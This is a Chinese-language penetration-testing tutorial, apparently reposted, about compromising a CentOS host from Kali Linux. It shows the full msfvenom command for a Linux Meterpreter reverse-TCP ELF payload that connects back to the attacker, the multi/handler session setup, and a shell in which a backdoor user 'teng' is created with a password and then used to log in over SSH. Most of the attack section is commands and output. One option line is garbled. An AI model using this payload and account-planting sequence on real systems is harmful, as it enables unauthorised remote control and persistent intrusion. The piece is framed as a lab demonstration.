首页 网络安全 渗透测试 查看内容

使用kali linux,利用Meterpreter成功渗透Linux主机并新建用户

2019-9-23 11:47 |来自: 互联网 4021 0

摘要: 前言Meterpreter作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。之前的文章《利用Metasploi ...
关键词: Meterpreter 192.168 payload 主机 Linux exploit handler 00 reverse 类型


前言

Meterpreter作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。

之前的文章《利用Metasploit渗透框架生成payload远程控制主机》展示了如何获得一台windows主机的控制权,今天我们来展示一下号称非常安全的Linux是如何被入侵的。

正常的渗透步骤应该首先进行信息手机,对特点目标进行扫描,今天掠过其他步骤直接针对一台主机进行渗透。

环境说明

控制端:kali linux 192.168.10.6

被控端:Centos7.6 192.168.10.10

两台主机同处于同一个局域网内,互相可以ping通。

在控制端生成payload程序

  • 寻找使用与linux主机的payload类型: "linux/x64/meterpreter/reverse_tcp"

以然使用linux主机meterpreter类型的反向tcp渗透控制程序。

#msfvenom -l payloads |grep 'linux/x64/meterpreter

  • 选择好payload类型后,可以查看此payload可以使用的参数
msfvenom ﹑ linux/x64/meterpreter/reverse_tcp ┅list﹐ptions 

主要设置: LHOST和LPORT

  • 还要确定payload程序的输出格式

linux主机选择 “efl”格式

#root@kali:~# msfvenom --list formats

  • 生成payload程序

lhost:本地主机(攻击端)

lport:本地端口(攻击端)

-p :指定攻击载荷(远程控制程序)类型。

-f:输出的程序的类型,如elf/exe/apk等。

-o: 输入位置。

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.10.6 lport=6666 -f elf -o /root/pay.elf

加上可执行权限

  • 将payload程序(pay.elf)上传到目标服务器

这个步骤是最关键的,也是最困难的。一般的黑客都会利用各种办法将自己的木马文件上传到目标机器上。本次为了实验效果直接用常规办法上传:scp。

开启主控端进行控制

  • 进入msfconsole
root@kali:~# msfconsole

  • 让payload程序成功在被控端成功执行。(此处登录被控端手动执行)
[root@test ~]# ./pay.elf &
[1] 6936
[root@test ~]# ps -fe |grep pay
root 6936 6897 0 19:18 pts/0 00:00:00 ./pay.elf
root 6962 6897 0 19:19 pts/0 00:00:00 grep --color=auto pay

  • 启动控制端操作
  1. use exploit/multi/handler。使用handler
  2. 设置payload类型为反向tcp连接。
  3. 设置本地ip
  4. 设置本地端口
  5. 执行主控端:exploit。

看到“Meterpreter session 1 opened (192.168.10.6:6666 -> 192.168.10.10:49716)”表示成功连接上。

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.10.6
LHOST => 192.168.10.6
msf5 exploit(multi/handler) > set LPORT 6666
LPORT => 6666
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.10.6:6666
[*] Sending stage (3021284 bytes) to 192.168.10.10
[*] Meterpreter session 1 opened (192.168.10.6:6666 -> 192.168.10.10:49716) at 2019-09-22 19:18:10 +0800
meterpreter >

渗透成功后的“黑客操作”

可以看都提示符编程了:“meterpreter >”

  • help

输入help可以查看可以进行哪些操作,包括文件的查看、上传、下载、新建、删除等。

  • ls查看被控端文件:

执行ls可以查看到被控端的当前目录文件:

和被控端主机上执行ls做对比:

  • 创建一个shell

执行一个“shell“命令可以开启一个shell会话,在这里可以执行任何的被控端主机的linux命令:

  • 在被控端新建一个用户:
meterpreter > shell
Process 6967 created.
Channel 1 created.



useradd teng
echo teng |passwd --stdin teng
更改用户 teng 的密码 。
passwd:所有的身份验证令牌已经成功更新。

  • 验证

在控制端再打开一个终端,用新建的用户远程登录被控端:

成功登录,大功告成!!

root@kali:~# ssh [email protected]
[email protected]'s password:
Last failed login: Sun Sep 22 19:07:16 CST 2019 from 192.168.10.6 on ssh:notty
There were 3 failed login attempts since the last successful login.
[teng@test ~]$ ip a
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
link/ether 00:0c:29:4b:25:8c brd ff:ff:ff:ff:ff:ff
inet 192.168.10.10/24 brd 192.168.10.255 scope global dynamic ens33
valid_lft 1317sec preferred_lft 1317sec
inet6 fe80::20c:29ff:fe4b:258c/64 scope link
valid_lft forever preferred_lft forever

本文出处: https://www.toutiao.com/a6739456222426038795/
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部